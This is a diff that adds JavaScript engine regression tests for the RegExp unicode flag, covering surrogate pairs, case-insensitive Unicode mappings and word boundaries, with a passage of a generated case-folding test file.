diff --git a/js/src/tests/non262/RegExp/unicode-everything.js b/js/src/tests/non262/RegExp/unicode-everything.js
new file mode 100644
index 0000000000..a18ac2867a
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-everything.js
@@ -0,0 +1,59 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- everything Atom.";
+
+print(BUGNUMBER + ": " + summary);
+
+// ==== standalone ====
+
+assertEqArray(/./u.exec("ABC"),
+ ["A"]);
+assertEqArray(/./u.exec("\u{1F438}BC"),
+ ["\u{1F438}"]);
+
+assertEqArray(/./u.exec("\uD83D\uDBFF"),
+ ["\uD83D"]);
+assertEqArray(/./u.exec("\uD83D\uDC00"),
+ ["\uD83D\uDC00"]);
+assertEqArray(/./u.exec("\uD83D\uDFFF"),
+ ["\uD83D\uDFFF"]);
+assertEqArray(/./u.exec("\uD83D\uE000"),
+ ["\uD83D"]);
+assertEqArray(/./u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/./u.exec("\uD83DA"),
+ ["\uD83D"]);
+
+assertEqArray(/./u.exec("\uD7FF\uDC38"),
+ ["\uD7FF"]);
+assertEqArray(/./u.exec("\uD800\uDC38"),
+ ["\uD800\uDC38"]);
+assertEqArray(/./u.exec("\uDBFF\uDC38"),
+ ["\uDBFF\uDC38"]);
+assertEqArray(/./u.exec("\uDC00\uDC38"),
+ ["\uDC00"]);
+assertEqArray(/./u.exec("\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/./u.exec("A\uDC38"),
+ ["A"]);
+
+assertEqArray(/.A/u.exec("\uD7FF\uDC38A"),
+ ["\uDC38A"]);
+assertEqArray(/.A/u.exec("\uD800\uDC38A"),
+ ["\uD800\uDC38A"]);
+assertEqArray(/.A/u.exec("\uDBFF\uDC38A"),
+ ["\uDBFF\uDC38A"]);
+assertEqArray(/.A/u.exec("\uDC00\uDC38A"),
+ ["\uDC38A"]);
+
+// ==== leading multiple ====
+
+assertEqArray(/.*A/u.exec("\u{1F438}\u{1F438}\u{1F438}A"),
+ ["\u{1F438}\u{1F438}\u{1F438}A"]);
+
+// ==== trailing multiple ====
+
+assertEqArray(/A.*/u.exec("A\u{1F438}\u{1F438}\u{1F438}"),
+ ["A\u{1F438}\u{1F438}\u{1F438}"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-ignoreCase-ascii.js b/js/src/tests/non262/RegExp/unicode-ignoreCase-ascii.js
new file mode 100644
index 0000000000..6d453290e9
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-ignoreCase-ascii.js
@@ -0,0 +1,45 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- ignoreCase flag with non-ascii to ascii map.";
+
+print(BUGNUMBER + ": " + summary);
+
+// LATIN CAPITAL LETTER Y WITH DIAERESIS
+assertEqArray(/\u0178/iu.exec("\u00FF"),
+ ["\u00FF"]);
+assertEqArray(/\u00FF/iu.exec("\u0178"),
+ ["\u0178"]);
+
+// LATIN SMALL LETTER LONG S
+assertEqArray(/\u017F/iu.exec("S"),
+ ["S"]);
+assertEqArray(/\u017F/iu.exec("s"),
+ ["s"]);
+assertEqArray(/S/iu.exec("\u017F"),
+ ["\u017F"]);
+assertEqArray(/s/iu.exec("\u017F"),
+ ["\u017F"]);
+
+// LATIN CAPITAL LETTER SHARP S
+assertEqArray(/\u1E9E/iu.exec("\u00DF"),
+ ["\u00DF"]);
+assertEqArray(/\u00DF/iu.exec("\u1E9E"),
+ ["\u1E9E"]);
+
+// KELVIN SIGN
+assertEqArray(/\u212A/iu.exec("K"),
+ ["K"]);
+assertEqArray(/\u212A/iu.exec("k"),
+ ["k"]);
+assertEqArray(/K/iu.exec("\u212A"),
+ ["\u212A"]);
+assertEqArray(/k/iu.exec("\u212A"),
+ ["\u212A"]);
+
+// ANGSTROM SIGN
+assertEqArray(/\u212B/iu.exec("\u00E5"),
+ ["\u00E5"]);
+assertEqArray(/\u00E5/iu.exec("\u212B"),
+ ["\u212B"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-ignoreCase-escape.js b/js/src/tests/non262/RegExp/unicode-ignoreCase-escape.js
new file mode 100644
index 0000000000..d731fb6bbe
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-ignoreCase-escape.js
@@ -0,0 +1,71 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- ignoreCase flag with character class escape.";
+
+// \W doesn't match S or K from the change in
+// https://github.com/tc39/ecma262/pull/525
+// (bug 1281739)
+
+print(BUGNUMBER + ": " + summary);
+
+// LATIN SMALL LETTER LONG S
+
+assertEqArray(/\w/iu.exec("S"),
+ ["S"]);
+assertEqArray(/\w/iu.exec("s"),
+ ["s"]);
+assertEqArray(/\w/iu.exec("\u017F"),
+ ["\u017F"]);
+
+assertEqArray(/[^\W]/iu.exec("S"),
+ ["S"]);
+assertEqArray(/[^\W]/iu.exec("s"),
+ ["s"]);
+assertEqArray(/[^\W]/iu.exec("\u017F"),
+ ["\u017F"]);
+
+assertEq(/\W/iu.exec("S"),
+ null);
+assertEq(/\W/iu.exec("s"),
+ null);
+assertEq(/\W/iu.exec("\u017F"),
+ null);
+
+assertEq(/[^\w]/iu.exec("S"),
+ null);
+assertEq(/[^\w]/iu.exec("s"),
+ null);
+assertEq(/[^\w]/iu.exec("\u017F"),
+ null);
+
+// KELVIN SIGN
+
+assertEqArray(/\w/iu.exec("k"),
+ ["k"]);
+assertEqArray(/\w/iu.exec("k"),
+ ["k"]);
+assertEqArray(/\w/iu.exec("\u212A"),
+ ["\u212A"]);
+
+assertEqArray(/[^\W]/iu.exec("k"),
+ ["k"]);
+assertEqArray(/[^\W]/iu.exec("k"),
+ ["k"]);
+assertEqArray(/[^\W]/iu.exec("\u212A"),
+ ["\u212A"]);
+
+assertEq(/\W/iu.exec("k"),
+ null);
+assertEq(/\W/iu.exec("k"),
+ null);
+assertEq(/\W/iu.exec("\u212A"),
+ null);
+
+assertEq(/[^\w]/iu.exec("k"),
+ null);
+assertEq(/[^\w]/iu.exec("k"),
+ null);
+assertEq(/[^\w]/iu.exec("\u212A"),
+ null);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-ignoreCase-negated.js b/js/src/tests/non262/RegExp/unicode-ignoreCase-negated.js
new file mode 100644
index 0000000000..30909a515a
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-ignoreCase-negated.js
@@ -0,0 +1,19 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- ignoreCase flag with negated character class.";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(/[^A]/iu.exec("A"),
+ null);
+assertEq(/[^a]/iu.exec("A"),
+ null);
+assertEq(/[^A]/iu.exec("a"),
+ null);
+assertEq(/[^a]/iu.exec("a"),
+ null);
+
+assertEqArray(/[^A]/iu.exec("b"),
+ ["b"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-ignoreCase-word-boundary.js b/js/src/tests/non262/RegExp/unicode-ignoreCase-word-boundary.js
new file mode 100644
index 0000000000..a5698de365
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-ignoreCase-word-boundary.js
@@ -0,0 +1,46 @@
+var BUGNUMBER = 1338373;
+var summary = "Word boundary should match U+017F and U+212A in unicode+ignoreCase.";
+
+assertEq(/\b/iu.test('\u017F'), true);
+assertEq(/\b/i.test('\u017F'), false);
+assertEq(/\b/u.test('\u017F'), false);
+assertEq(/\b/.test('\u017F'), false);
+
+assertEq(/\b/iu.test('\u212A'), true);
+assertEq(/\b/i.test('\u212A'), false);
+assertEq(/\b/u.test('\u212A'), false);
+assertEq(/\b/.test('\u212A'), false);
+
+assertEq(/\B/iu.test('\u017F'), false);
+assertEq(/\B/i.test('\u017F'), true);
+assertEq(/\B/u.test('\u017F'), true);
+assertEq(/\B/.test('\u017F'), true);
+
+assertEq(/\B/iu.test('\u212A'), false);
+assertEq(/\B/i.test('\u212A'), true);
+assertEq(/\B/u.test('\u212A'), true);
+assertEq(/\B/.test('\u212A'), true);
+
+// Bug 1338779 - More testcases.
+assertEq(/(i\B\u017F)/ui.test("is"), true);
+assertEq(/(i\B\u017F)/ui.test("it"), false);
+assertEq(/(i\B\u017F)+/ui.test("is"), true);
+assertEq(/(i\B\u017F)+/ui.test("it"), false);
+
+assertEq(/(\u017F\Bi)/ui.test("si"), true);
+assertEq(/(\u017F\Bi)/ui.test("ti"), false);
+assertEq(/(\u017F\Bi)+/ui.test("si"), true);
+assertEq(/(\u017F\Bi)+/ui.test("ti"), false);
+
+assertEq(/(i\B\u212A)/ui.test("ik"), true);
+assertEq(/(i\B\u212A)/ui.test("it"), false);
+assertEq(/(i\B\u212A)+/ui.test("ik"), true);
+assertEq(/(i\B\u212A)+/ui.test("it"), false);
+
+assertEq(/(\u212A\Bi)/ui.test("ki"), true);
+assertEq(/(\u212A\Bi)/ui.test("ti"), false);
+assertEq(/(\u212A\Bi)+/ui.test("ki"), true);
+assertEq(/(\u212A\Bi)+/ui.test("ti"), false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-ignoreCase.js b/js/src/tests/non262/RegExp/unicode-ignoreCase.js
new file mode 100644
index 0000000000..e7b4ad1b14
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-ignoreCase.js
@@ -0,0 +1,2821 @@
+/* Generated by make_unicode.py DO NOT MODIFY */
+/* Unicode version: 13.0.0 */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- ignoreCase flag.";
+
+print(BUGNUMBER + ": " + summary);
+
+function test(code, ...equivs) {
+ var codeRe = new RegExp(String.fromCodePoint(code) + "+", "iu");
+ var ans = String.fromCodePoint(code) + equivs.map(c => String.fromCodePoint(c)).join("");
+ assertEqArray(codeRe.exec("<" + ans + ">"), [ans]);
+ codeRe = new RegExp("[" + String.fromCodePoint(code) + "]+", "iu");
+ assertEqArray(codeRe.exec("<" + ans + ">"), [ans]);
+}
+test(0x0041, 0x0061); // LATIN CAPITAL LETTER A, LATIN SMALL LETTER A
+test(0x0042, 0x0062); // LATIN CAPITAL LETTER B, LATIN SMALL LETTER B
+test(0x0043, 0x0063); // LATIN CAPITAL LETTER C, LATIN SMALL LETTER C
+test(0x0044, 0x0064); // LATIN CAPITAL LETTER D, LATIN SMALL LETTER D
+test(0x0045, 0x0065); // LATIN CAPITAL LETTER E, LATIN SMALL LETTER E
+test(0x0046, 0x0066); // LATIN CAPITAL LETTER F, LATIN SMALL LETTER F
+test(0x0047, 0x0067); // LATIN CAPITAL LETTER G, LATIN SMALL LETTER G
+test(0x0048, 0x0068); // LATIN CAPITAL LETTER H, LATIN SMALL LETTER H
+test(0x0049, 0x0069); // LATIN CAPITAL LETTER I, LATIN SMALL LETTER I
+test(0x004A, 0x006A); // LATIN CAPITAL LETTER J, LATIN SMALL LETTER J
+test(0x004B, 0x006B, 0x212A); // LATIN CAPITAL LETTER K, LATIN SMALL LETTER K, KELVIN SIGN (DEGREES KELVIN)
+test(0x004C, 0x006C); // LATIN CAPITAL LETTER L, LATIN SMALL LETTER L
+test(0x004D, 0x006D); // LATIN CAPITAL LETTER M, LATIN SMALL LETTER M
+test(0x004E, 0x006E); // LATIN CAPITAL LETTER N, LATIN SMALL LETTER N
+test(0x004F, 0x006F); // LATIN CAPITAL LETTER O, LATIN SMALL LETTER O
+test(0x0050, 0x0070); // LATIN CAPITAL LETTER P, LATIN SMALL LETTER P
+test(0x0051, 0x0071); // LATIN CAPITAL LETTER Q, LATIN SMALL LETTER Q
+test(0x0052, 0x0072); // LATIN CAPITAL LETTER R, LATIN SMALL LETTER R
+test(0x0053, 0x0073, 0x017F); // LATIN CAPITAL LETTER S, LATIN SMALL LETTER S, LATIN SMALL LETTER LONG S
+test(0x0054, 0x0074); // LATIN CAPITAL LETTER T, LATIN SMALL LETTER T
+test(0x0055, 0x0075); // LATIN CAPITAL LETTER U, LATIN SMALL LETTER U
+test(0x0056, 0x0076); // LATIN CAPITAL LETTER V, LATIN SMALL LETTER V
+test(0x0057, 0x0077); // LATIN CAPITAL LETTER W, LATIN SMALL LETTER W
+test(0x0058, 0x0078); // LATIN CAPITAL LETTER X, LATIN SMALL LETTER X
+test(0x0059, 0x0079); // LATIN CAPITAL LETTER Y, LATIN SMALL LETTER Y
+test(0x005A, 0x007A); // LATIN CAPITAL LETTER Z, LATIN SMALL LETTER Z
+test(0x0061, 0x0041); // LATIN SMALL LETTER A, LATIN CAPITAL LETTER A
+test(0x0062, 0x0042); // LATIN SMALL LETTER B, LATIN CAPITAL LETTER B
+test(0x0063, 0x0043); // LATIN SMALL LETTER C, LATIN CAPITAL LETTER C
+test(0x0064, 0x0044); // LATIN SMALL LETTER D, LATIN CAPITAL LETTER D
+test(0x0065, 0x0045); // LATIN SMALL LETTER E, LATIN CAPITAL LETTER E
+test(0x0066, 0x0046); // LATIN SMALL LETTER F, LATIN CAPITAL LETTER F
+test(0x0067, 0x0047); // LATIN SMALL LETTER G, LATIN CAPITAL LETTER G
+test(0x0068, 0x0048); // LATIN SMALL LETTER H, LATIN CAPITAL LETTER H
+test(0x0069, 0x0049); // LATIN SMALL LETTER I, LATIN CAPITAL LETTER I
+test(0x006A, 0x004A); // LATIN SMALL LETTER J, LATIN CAPITAL LETTER J
+test(0x006B, 0x004B, 0x212A); // LATIN SMALL LETTER K, LATIN CAPITAL LETTER K, KELVIN SIGN (DEGREES KELVIN)
+test(0x006C, 0x004C); // LATIN SMALL LETTER L, LATIN CAPITAL LETTER L
+test(0x006D, 0x004D); // LATIN SMALL LETTER M, LATIN CAPITAL LETTER M
+test(0x006E, 0x004E); // LATIN SMALL LETTER N, LATIN CAPITAL LETTER N
+test(0x006F, 0x004F); // LATIN SMALL LETTER O, LATIN CAPITAL LETTER O
+test(0x0070, 0x0050); // LATIN SMALL LETTER P, LATIN CAPITAL LETTER P
+test(0x0071, 0x0051); // LATIN SMALL LETTER Q, LATIN CAPITAL LETTER Q
+test(0x0072, 0x0052); // LATIN SMALL LETTER R, LATIN CAPITAL LETTER R
+test(0x0073, 0x0053, 0x017F); // LATIN SMALL LETTER S, LATIN CAPITAL LETTER S, LATIN SMALL LETTER LONG S
+test(0x0074, 0x0054); // LATIN SMALL LETTER T, LATIN CAPITAL LETTER T
+test(0x0075, 0x0055); // LATIN SMALL LETTER U, LATIN CAPITAL LETTER U
+test(0x0076, 0x0056); // LATIN SMALL LETTER V, LATIN CAPITAL LETTER V
+test(0x0077, 0x0057); // LATIN SMALL LETTER W, LATIN CAPITAL LETTER W
+test(0x0078, 0x0058); // LATIN SMALL LETTER X, LATIN CAPITAL LETTER X
+test(0x0079, 0x0059); // LATIN SMALL LETTER Y, LATIN CAPITAL LETTER Y
+test(0x007A, 0x005A); // LATIN SMALL LETTER Z, LATIN CAPITAL LETTER Z
+test(0x00B5, 0x03BC, 0x039C); // MICRO SIGN, GREEK SMALL LETTER MU, GREEK CAPITAL LETTER MU
+test(0x00C0, 0x00E0); // LATIN CAPITAL LETTER A WITH GRAVE (LATIN CAPITAL LETTER A GRAVE), LATIN SMALL LETTER A WITH GRAVE (LATIN SMALL LETTER A GRAVE)
+test(0x00C1, 0x00E1); // LATIN CAPITAL LETTER A WITH ACUTE (LATIN CAPITAL LETTER A ACUTE), LATIN SMALL LETTER A WITH ACUTE (LATIN SMALL LETTER A ACUTE)
+test(0x00C2, 0x00E2); // LATIN CAPITAL LETTER A WITH CIRCUMFLEX (LATIN CAPITAL LETTER A CIRCUMFLEX), LATIN SMALL LETTER A WITH CIRCUMFLEX (LATIN SMALL LETTER A CIRCUMFLEX)
+test(0x00C3, 0x00E3); // LATIN CAPITAL LETTER A WITH TILDE (LATIN CAPITAL LETTER A TILDE), LATIN SMALL LETTER A WITH TILDE (LATIN SMALL LETTER A TILDE)
+test(0x00C4, 0x00E4); // LATIN CAPITAL LETTER A WITH DIAERESIS (LATIN CAPITAL LETTER A DIAERESIS), LATIN SMALL LETTER A WITH DIAERESIS (LATIN SMALL LETTER A DIAERESIS)
+test(0x00C5, 0x00E5, 0x212B); // LATIN CAPITAL LETTER A WITH RING ABOVE (LATIN CAPITAL LETTER A RING), LATIN SMALL LETTER A WITH RING ABOVE (LATIN SMALL LETTER A RING), ANGSTROM SIGN (ANGSTROM UNIT)
+test(0x00C6, 0x00E6); // LATIN CAPITAL LETTER AE (LATIN CAPITAL LETTER A E), LATIN SMALL LETTER AE (LATIN SMALL LETTER A E)
+test(0x00C7, 0x00E7); // LATIN CAPITAL LETTER C WITH CEDILLA (LATIN CAPITAL LETTER C CEDILLA), LATIN SMALL LETTER C WITH CEDILLA (LATIN SMALL LETTER C CEDILLA)
+test(0x00C8, 0x00E8); // LATIN CAPITAL LETTER E WITH GRAVE (LATIN CAPITAL LETTER E GRAVE), LATIN SMALL LETTER E WITH GRAVE (LATIN SMALL LETTER E GRAVE)
+test(0x00C9, 0x00E9); // LATIN CAPITAL LETTER E WITH ACUTE (LATIN CAPITAL LETTER E ACUTE), LATIN SMALL LETTER E WITH ACUTE (LATIN SMALL LETTER E ACUTE)
+test(0x00CA, 0x00EA); // LATIN CAPITAL LETTER E WITH CIRCUMFLEX (LATIN CAPITAL LETTER E CIRCUMFLEX), LATIN SMALL LETTER E WITH CIRCUMFLEX (LATIN SMALL LETTER E CIRCUMFLEX)
+test(0x00CB, 0x00EB); // LATIN CAPITAL LETTER E WITH DIAERESIS (LATIN CAPITAL LETTER E DIAERESIS), LATIN SMALL LETTER E WITH DIAERESIS (LATIN SMALL LETTER E DIAERESIS)
+test(0x00CC, 0x00EC); // LATIN CAPITAL LETTER I WITH GRAVE (LATIN CAPITAL LETTER I GRAVE), LATIN SMALL LETTER I WITH GRAVE (LATIN SMALL LETTER I GRAVE)
+test(0x00CD, 0x00ED); // LATIN CAPITAL LETTER I WITH ACUTE (LATIN CAPITAL LETTER I ACUTE), LATIN SMALL LETTER I WITH ACUTE (LATIN SMALL LETTER I ACUTE)
+test(0x00CE, 0x00EE); // LATIN CAPITAL LETTER I WITH CIRCUMFLEX (LATIN CAPITAL LETTER I CIRCUMFLEX), LATIN SMALL LETTER I WITH CIRCUMFLEX (LATIN SMALL LETTER I CIRCUMFLEX)
+test(0x00CF, 0x00EF); // LATIN CAPITAL LETTER I WITH DIAERESIS (LATIN CAPITAL LETTER I DIAERESIS), LATIN SMALL LETTER I WITH DIAERESIS (LATIN SMALL LETTER I DIAERESIS)
+test(0x00D0, 0x00F0); // LATIN CAPITAL LETTER ETH, LATIN SMALL LETTER ETH
+test(0x00D1, 0x00F1); // LATIN CAPITAL LETTER N WITH TILDE (LATIN CAPITAL LETTER N TILDE), LATIN SMALL LETTER N WITH TILDE (LATIN SMALL LETTER N TILDE)
+test(0x00D2, 0x00F2); // LATIN CAPITAL LETTER O WITH GRAVE (LATIN CAPITAL LETTER O GRAVE), LATIN SMALL LETTER O WITH GRAVE (LATIN SMALL LETTER O GRAVE)
+test(0x00D3, 0x00F3); // LATIN CAPITAL LETTER O WITH ACUTE (LATIN CAPITAL LETTER O ACUTE), LATIN SMALL LETTER O WITH ACUTE (LATIN SMALL LETTER O ACUTE)
+test(0x00D4, 0x00F4); // LATIN CAPITAL LETTER O WITH CIRCUMFLEX (LATIN CAPITAL LETTER O CIRCUMFLEX), LATIN SMALL LETTER O WITH CIRCUMFLEX (LATIN SMALL LETTER O CIRCUMFLEX)
+test(0x00D5, 0x00F5); // LATIN CAPITAL LETTER O WITH TILDE (LATIN CAPITAL LETTER O TILDE), LATIN SMALL LETTER O WITH TILDE (LATIN SMALL LETTER O TILDE)
+test(0x00D6, 0x00F6); // LATIN CAPITAL LETTER O WITH DIAERESIS (LATIN CAPITAL LETTER O DIAERESIS), LATIN SMALL LETTER O WITH DIAERESIS (LATIN SMALL LETTER O DIAERESIS)
+test(0x00D8, 0x00F8); // LATIN CAPITAL LETTER O WITH STROKE (LATIN CAPITAL LETTER O SLASH), LATIN SMALL LETTER O WITH STROKE (LATIN SMALL LETTER O SLASH)
+test(0x00D9, 0x00F9); // LATIN CAPITAL LETTER U WITH GRAVE (LATIN CAPITAL LETTER U GRAVE), LATIN SMALL LETTER U WITH GRAVE (LATIN SMALL LETTER U GRAVE)
+test(0x00DA, 0x00FA); // LATIN CAPITAL LETTER U WITH ACUTE (LATIN CAPITAL LETTER U ACUTE), LATIN SMALL LETTER U WITH ACUTE (LATIN SMALL LETTER U ACUTE)
+test(0x00DB, 0x00FB); // LATIN CAPITAL LETTER U WITH CIRCUMFLEX (LATIN CAPITAL LETTER U CIRCUMFLEX), LATIN SMALL LETTER U WITH CIRCUMFLEX (LATIN SMALL LETTER U CIRCUMFLEX)
+test(0x00DC, 0x00FC); // LATIN CAPITAL LETTER U WITH DIAERESIS (LATIN CAPITAL LETTER U DIAERESIS), LATIN SMALL LETTER U WITH DIAERESIS (LATIN SMALL LETTER U DIAERESIS)
+test(0x00DD, 0x00FD); // LATIN CAPITAL LETTER Y WITH ACUTE (LATIN CAPITAL LETTER Y ACUTE), LATIN SMALL LETTER Y WITH ACUTE (LATIN SMALL LETTER Y ACUTE)
+test(0x00DE, 0x00FE); // LATIN CAPITAL LETTER THORN, LATIN SMALL LETTER THORN
+test(0x00DF, 0x1E9E); // LATIN SMALL LETTER SHARP S, LATIN CAPITAL LETTER SHARP S
+test(0x00E0, 0x00C0); // LATIN SMALL LETTER A WITH GRAVE (LATIN SMALL LETTER A GRAVE), LATIN CAPITAL LETTER A WITH GRAVE (LATIN CAPITAL LETTER A GRAVE)
+test(0x00E1, 0x00C1); // LATIN SMALL LETTER A WITH ACUTE (LATIN SMALL LETTER A ACUTE), LATIN CAPITAL LETTER A WITH ACUTE (LATIN CAPITAL LETTER A ACUTE)
+test(0x00E2, 0x00C2); // LATIN SMALL LETTER A WITH CIRCUMFLEX (LATIN SMALL LETTER A CIRCUMFLEX), LATIN CAPITAL LETTER A WITH CIRCUMFLEX (LATIN CAPITAL LETTER A CIRCUMFLEX)
+test(0x00E3, 0x00C3); // LATIN SMALL LETTER A WITH TILDE (LATIN SMALL LETTER A TILDE), LATIN CAPITAL LETTER A WITH TILDE (LATIN CAPITAL LETTER A TILDE)
+test(0x00E4, 0x00C4); // LATIN SMALL LETTER A WITH DIAERESIS (LATIN SMALL LETTER A DIAERESIS), LATIN CAPITAL LETTER A WITH DIAERESIS (LATIN CAPITAL LETTER A DIAERESIS)
+test(0x00E5, 0x00C5, 0x212B); // LATIN SMALL LETTER A WITH RING ABOVE (LATIN SMALL LETTER A RING), LATIN CAPITAL LETTER A WITH RING ABOVE (LATIN CAPITAL LETTER A RING), ANGSTROM SIGN (ANGSTROM UNIT)
+test(0x00E6, 0x00C6); // LATIN SMALL LETTER AE (LATIN SMALL LETTER A E), LATIN CAPITAL LETTER AE (LATIN CAPITAL LETTER A E)
+test(0x00E7, 0x00C7); // LATIN SMALL LETTER C WITH CEDILLA (LATIN SMALL LETTER C CEDILLA), LATIN CAPITAL LETTER C WITH CEDILLA (LATIN CAPITAL LETTER C CEDILLA)
+test(0x00E8, 0x00C8); // LATIN SMALL LETTER E WITH GRAVE (LATIN SMALL LETTER E GRAVE), LATIN CAPITAL LETTER E WITH GRAVE (LATIN CAPITAL LETTER E GRAVE)
+test(0x00E9, 0x00C9); // LATIN SMALL LETTER E WITH ACUTE (LATIN SMALL LETTER E ACUTE), LATIN CAPITAL LETTER E WITH ACUTE (LATIN CAPITAL LETTER E ACUTE)
+test(0x00EA, 0x00CA); // LATIN SMALL LETTER E WITH CIRCUMFLEX (LATIN SMALL LETTER E CIRCUMFLEX), LATIN CAPITAL LETTER E WITH CIRCUMFLEX (LATIN CAPITAL LETTER E CIRCUMFLEX)
+test(0x00EB, 0x00CB); // LATIN SMALL LETTER E WITH DIAERESIS (LATIN SMALL LETTER E DIAERESIS), LATIN CAPITAL LETTER E WITH DIAERESIS (LATIN CAPITAL LETTER E DIAERESIS)
+test(0x00EC, 0x00CC); // LATIN SMALL LETTER I WITH GRAVE (LATIN SMALL LETTER I GRAVE), LATIN CAPITAL LETTER I WITH GRAVE (LATIN CAPITAL LETTER I GRAVE)
+test(0x00ED, 0x00CD); // LATIN SMALL LETTER I WITH ACUTE (LATIN SMALL LETTER I ACUTE), LATIN CAPITAL LETTER I WITH ACUTE (LATIN CAPITAL LETTER I ACUTE)
+test(0x00EE, 0x00CE); // LATIN SMALL LETTER I WITH CIRCUMFLEX (LATIN SMALL LETTER I CIRCUMFLEX), LATIN CAPITAL LETTER I WITH CIRCUMFLEX (LATIN CAPITAL LETTER I CIRCUMFLEX)
+test(0x00EF, 0x00CF); // LATIN SMALL LETTER I WITH DIAERESIS (LATIN SMALL LETTER I DIAERESIS), LATIN CAPITAL LETTER I WITH DIAERESIS (LATIN CAPITAL LETTER I DIAERESIS)
+test(0x00F0, 0x00D0); // LATIN SMALL LETTER ETH, LATIN CAPITAL LETTER ETH
+test(0x00F1, 0x00D1); // LATIN SMALL LETTER N WITH TILDE (LATIN SMALL LETTER N TILDE), LATIN CAPITAL LETTER N WITH TILDE (LATIN CAPITAL LETTER N TILDE)
+test(0x00F2, 0x00D2); // LATIN SMALL LETTER O WITH GRAVE (LATIN SMALL LETTER O GRAVE), LATIN CAPITAL LETTER O WITH GRAVE (LATIN CAPITAL LETTER O GRAVE)
+test(0x00F3, 0x00D3); // LATIN SMALL LETTER O WITH ACUTE (LATIN SMALL LETTER O ACUTE), LATIN CAPITAL LETTER O WITH ACUTE (LATIN CAPITAL LETTER O ACUTE)
+test(0x00F4, 0x00D4); // LATIN SMALL LETTER O WITH CIRCUMFLEX (LATIN SMALL LETTER O CIRCUMFLEX), LATIN CAPITAL LETTER O WITH CIRCUMFLEX (LATIN CAPITAL LETTER O CIRCUMFLEX)
+test(0x00F5, 0x00D5); // LATIN SMALL LETTER O WITH TILDE (LATIN SMALL LETTER O TILDE), LATIN CAPITAL LETTER O WITH TILDE (LATIN CAPITAL LETTER O TILDE)
+test(0x00F6, 0x00D6); // LATIN SMALL LETTER O WITH DIAERESIS (LATIN SMALL LETTER O DIAERESIS), LATIN CAPITAL LETTER O WITH DIAERESIS (LATIN CAPITAL LETTER O DIAERESIS)
+test(0x00F8, 0x00D8); // LATIN SMALL LETTER O WITH STROKE (LATIN SMALL LETTER O SLASH), LATIN CAPITAL LETTER O WITH STROKE (LATIN CAPITAL LETTER O SLASH)
+test(0x00F9, 0x00D9); // LATIN SMALL LETTER U WITH GRAVE (LATIN SMALL LETTER U GRAVE), LATIN CAPITAL LETTER U WITH GRAVE (LATIN CAPITAL LETTER U GRAVE)
+test(0x00FA, 0x00DA); // LATIN SMALL LETTER U WITH ACUTE (LATIN SMALL LETTER U ACUTE), LATIN CAPITAL LETTER U WITH ACUTE (LATIN CAPITAL LETTER U ACUTE)
+test(0x00FB, 0x00DB); // LATIN SMALL LETTER U WITH CIRCUMFLEX (LATIN SMALL LETTER U CIRCUMFLEX), LATIN CAPITAL LETTER U WITH CIRCUMFLEX (LATIN CAPITAL LETTER U CIRCUMFLEX)
+test(0x00FC, 0x00DC); // LATIN SMALL LETTER U WITH DIAERESIS (LATIN SMALL LETTER U DIAERESIS), LATIN CAPITAL LETTER U WITH DIAERESIS (LATIN CAPITAL LETTER U DIAERESIS)
+test(0x00FD, 0x00DD); // LATIN SMALL LETTER Y WITH ACUTE (LATIN SMALL LETTER Y ACUTE), LATIN CAPITAL LETTER Y WITH ACUTE (LATIN CAPITAL LETTER Y ACUTE)
+test(0x00FE, 0x00DE); // LATIN SMALL LETTER THORN, LATIN CAPITAL LETTER THORN
+test(0x00FF, 0x0178); // LATIN SMALL LETTER Y WITH DIAERESIS (LATIN SMALL LETTER Y DIAERESIS), LATIN CAPITAL LETTER Y WITH DIAERESIS (LATIN CAPITAL LETTER Y DIAERESIS)
+test(0x0100, 0x0101); // LATIN CAPITAL LETTER A WITH MACRON (LATIN CAPITAL LETTER A MACRON), LATIN SMALL LETTER A WITH MACRON (LATIN SMALL LETTER A MACRON)
+test(0x0101, 0x0100); // LATIN SMALL LETTER A WITH MACRON (LATIN SMALL LETTER A MACRON), LATIN CAPITAL LETTER A WITH MACRON (LATIN CAPITAL LETTER A MACRON)
+test(0x0102, 0x0103); // LATIN CAPITAL LETTER A WITH BREVE (LATIN CAPITAL LETTER A BREVE), LATIN SMALL LETTER A WITH BREVE (LATIN SMALL LETTER A BREVE)
+test(0x0103, 0x0102); // LATIN SMALL LETTER A WITH BREVE (LATIN SMALL LETTER A BREVE), LATIN CAPITAL LETTER A WITH BREVE (LATIN CAPITAL LETTER A BREVE)
+test(0x0104, 0x0105); // LATIN CAPITAL LETTER A WITH OGONEK (LATIN CAPITAL LETTER A OGONEK), LATIN SMALL LETTER A WITH OGONEK (LATIN SMALL LETTER A OGONEK)
+test(0x0105, 0x0104); // LATIN SMALL LETTER A WITH OGONEK (LATIN SMALL LETTER A OGONEK), LATIN CAPITAL LETTER A WITH OGONEK (LATIN CAPITAL LETTER A OGONEK)
+test(0x0106, 0x0107); // LATIN CAPITAL LETTER C WITH ACUTE (LATIN CAPITAL LETTER C ACUTE), LATIN SMALL LETTER C WITH ACUTE (LATIN SMALL LETTER C ACUTE)
